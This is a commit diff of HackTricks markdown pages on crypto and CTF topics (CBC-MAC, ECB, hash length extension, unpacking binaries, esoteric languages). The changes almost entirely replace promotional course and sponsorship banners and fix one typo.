Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
@ -204,16 +205,17 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
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Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details> </details>
{% endhint %}
# CBC # CBC
@ -68,18 +69,19 @@ Now, if you can control the IV, you can change the first Byte of the IV so **IV\
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details> </details>
{% endhint %}

34
crypto-and-stego/crypto-ctfs-tricks.md
View file

@ -1,18 +1,19 @@
# Crypto CTFs Tricks # Crypto CTFs Tricks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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</details> </details>
{% endhint %}
## Online Hashes DBs ## Online Hashes DBs
@ -310,16 +311,17 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) * [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) * [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details> </details>
{% endhint %}

34
crypto-and-stego/cryptographic-algorithms/README.md
View file

@ -2,19 +2,20 @@
## Cryptographic/Compression Algorithms ## Cryptographic/Compression Algorithms
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details> </details>
{% endhint %}
## Identifying Algorithms ## Identifying Algorithms
@ -195,16 +196,17 @@ Check **3 comparisons to recognise it**:
![](<../../.gitbook/assets/image (430).png>) ![](<../../.gitbook/assets/image (430).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details> </details>
{% endhint %}

36
crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
View file

@ -1,18 +1,20 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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</details> </details>
{% endhint %}
{% endhint %}
# Identifying packed binaries # Identifying packed binaries
@ -36,19 +38,21 @@ Other ways to support HackTricks:
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
* When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). * When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
</details>
{% endhint %}

34
crypto-and-stego/electronic-code-book-ecb.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
# ECB # ECB
@ -87,18 +88,19 @@ The cookie of this user is going to be composed by 3 blocks: the first 2 is the
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
crypto-and-stego/esoteric-languages.md
View file

@ -1,16 +1,19 @@
# Esoteric languages # Esoteric languages
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page) ## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
@ -76,14 +79,17 @@ kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek Kukarek
``` ```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

32
crypto-and-stego/hash-length-extension-attack.md
View file

@ -1,18 +1,19 @@
# Hash Length Extension Attack # Hash Length Extension Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
@ -39,7 +40,7 @@ Imagine a server which is **signing** some **data** by **appending** a **secret*
* Usually a default one is used, so if the other 3 requirements are met, this also is * Usually a default one is used, so if the other 3 requirements are met, this also is
* The padding vary depending on the length of the secret+data, that's why the length of the secret is needed * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**. Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
### How? ### How?
@ -73,16 +74,17 @@ You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

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